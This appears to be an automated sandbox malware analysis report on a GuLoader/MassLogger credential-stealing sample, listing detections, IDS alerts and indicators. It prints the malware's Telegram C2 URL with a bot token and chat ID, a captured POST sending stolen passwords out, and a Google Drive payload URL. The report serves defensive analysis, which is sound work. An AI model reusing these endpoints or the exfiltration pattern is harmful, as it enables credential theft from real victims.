Edit tour

Windows Analysis Report
v4nrZtP7K2.exe

Overview

General Information

Sample name:	v4nrZtP7K2.exe renamed because original name is a hash value
Original sample name:	fdf9354cf20fb94544d6bafaa777e8a40eba2d603e648b3dbdf35344d639b19d.exe
Analysis ID:	1588131
MD5:	0f45bbafc276fa80464c8892ba6f5b2a
SHA1:	3f0ec83b231cf0ba0a1fee3696e709bc75d199eb
SHA256:	fdf9354cf20fb94544d6bafaa777e8a40eba2d603e648b3dbdf35344d639b19d
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

v4nrZtP7K2.exe (PID: 1704 cmdline: "C:\Users\user\Desktop\v4nrZtP7K2.exe" MD5: 0F45BBAFC276FA80464C8892BA6F5B2A)

v4nrZtP7K2.exe (PID: 4256 cmdline: "C:\Users\user\Desktop\v4nrZtP7K2.exe" MD5: 0F45BBAFC276FA80464C8892BA6F5B2A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.2034874444.0000000003C88000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: v4nrZtP7K2.exe PID: 4256	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: v4nrZtP7K2.exe PID: 4256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: v4nrZtP7K2.exe PID: 4256	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:18.295718+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49740	149.154.167.220	443	TCP
2025-01-10T21:41:20.550220+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49757	149.154.167.220	443	TCP
2025-01-10T21:41:22.413988+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49769	149.154.167.220	443	TCP
2025-01-10T21:41:24.243171+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49782	149.154.167.220	443	TCP
2025-01-10T21:41:26.308224+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49798	149.154.167.220	443	TCP
2025-01-10T21:41:28.116897+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49811	149.154.167.220	443	TCP
2025-01-10T21:41:29.905652+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49827	149.154.167.220	443	TCP
2025-01-10T21:41:31.772274+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49839	149.154.167.220	443	TCP
2025-01-10T21:41:33.621335+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49853	149.154.167.220	443	TCP
2025-01-10T21:41:35.475737+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49865	149.154.167.220	443	TCP
2025-01-10T21:41:37.261635+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49877	149.154.167.220	443	TCP
2025-01-10T21:41:39.030142+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49890	149.154.167.220	443	TCP
2025-01-10T21:41:40.935980+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49905	149.154.167.220	443	TCP
2025-01-10T21:41:42.794589+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49919	149.154.167.220	443	TCP
2025-01-10T21:41:44.714132+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49930	149.154.167.220	443	TCP
2025-01-10T21:41:47.640280+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49946	149.154.167.220	443	TCP
2025-01-10T21:41:49.647010+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49962	149.154.167.220	443	TCP
2025-01-10T21:41:51.526150+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49973	149.154.167.220	443	TCP
2025-01-10T21:41:53.376503+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T21:41:55.153990+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50001	149.154.167.220	443	TCP
2025-01-10T21:41:56.893527+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T21:41:58.883067+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T21:42:00.709410+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T21:42:03.304992+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T21:42:05.344060+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T21:42:07.250403+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T21:42:09.956106+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T21:42:11.868333+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T21:42:13.974062+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T21:42:15.775576+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T21:42:17.647059+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T21:42:20.575719+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T21:42:25.228901+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50044	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:10.679332+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49711	132.226.8.169	80	TCP
2025-01-10T21:41:17.366602+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49711	132.226.8.169	80	TCP
2025-01-10T21:41:19.616728+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49750	132.226.8.169	80	TCP
2025-01-10T21:42:13.132415+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	50035	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:04.055782+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49709	142.250.181.238	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:17.999582+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49740	149.154.167.220	443	TCP
2025-01-10T21:41:20.221607+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49757	149.154.167.220	443	TCP
2025-01-10T21:41:22.080335+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49769	149.154.167.220	443	TCP
2025-01-10T21:41:23.902379+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49782	149.154.167.220	443	TCP
2025-01-10T21:41:25.754752+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49798	149.154.167.220	443	TCP
2025-01-10T21:41:27.821372+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49811	149.154.167.220	443	TCP
2025-01-10T21:41:29.651156+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49827	149.154.167.220	443	TCP
2025-01-10T21:41:31.373410+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49839	149.154.167.220	443	TCP
2025-01-10T21:41:33.258256+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49853	149.154.167.220	443	TCP
2025-01-10T21:41:35.078882+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49865	149.154.167.220	443	TCP
2025-01-10T21:41:37.005576+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49877	149.154.167.220	443	TCP
2025-01-10T21:41:38.759064+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49890	149.154.167.220	443	TCP
2025-01-10T21:41:40.507479+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49905	149.154.167.220	443	TCP
2025-01-10T21:41:42.455994+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49919	149.154.167.220	443	TCP
2025-01-10T21:41:44.380265+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49930	149.154.167.220	443	TCP
2025-01-10T21:41:46.567194+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49946	149.154.167.220	443	TCP
2025-01-10T21:41:49.400542+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49962	149.154.167.220	443	TCP
2025-01-10T21:41:51.084566+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49973	149.154.167.220	443	TCP
2025-01-10T21:41:52.988544+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T21:41:54.843402+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50001	149.154.167.220	443	TCP
2025-01-10T21:41:56.646970+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T21:41:58.410818+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T21:42:00.462252+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T21:42:02.832012+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T21:42:04.799457+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T21:42:07.009354+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T21:42:09.621156+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T21:42:11.534767+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T21:42:13.713057+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T21:42:15.429818+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T21:42:17.260407+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T21:42:20.136836+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T21:42:24.950422+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50044	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318d38847f8aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndn
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034821000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A89000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: v4nrZtP7K2.exe, 00000005.00000003.2871254472.000000003707A000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2871275238.0000000037085000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2946991850.0000000037086000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: v4nrZtP7K2.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349ED000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034A25000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034BA6000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034C30000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000349BB000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.00000000348E7000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000003FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: v4nrZtP7K2.exe, 00000005.00000002.2923067834.0000000005CB0000.00000004.00001000.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4
Source: v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4;
Source: v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004059000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2920114174.000000000404D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=download
Source: v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=downloadaG
Source: v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=downloade
Source: v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VJ0T7qp0DTXCzKTz6z0CV_0Im_J-iii4&export=downloadt
Source: v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004059000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2179199389.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/o
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: v4nrZtP7K2.exe, 00000005.00000002.2943654108.0000000034851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189ec
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: v4nrZtP7K2.exe, 00000005.00000003.2145893551.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000406D000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000003.2145720791.000000000405E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
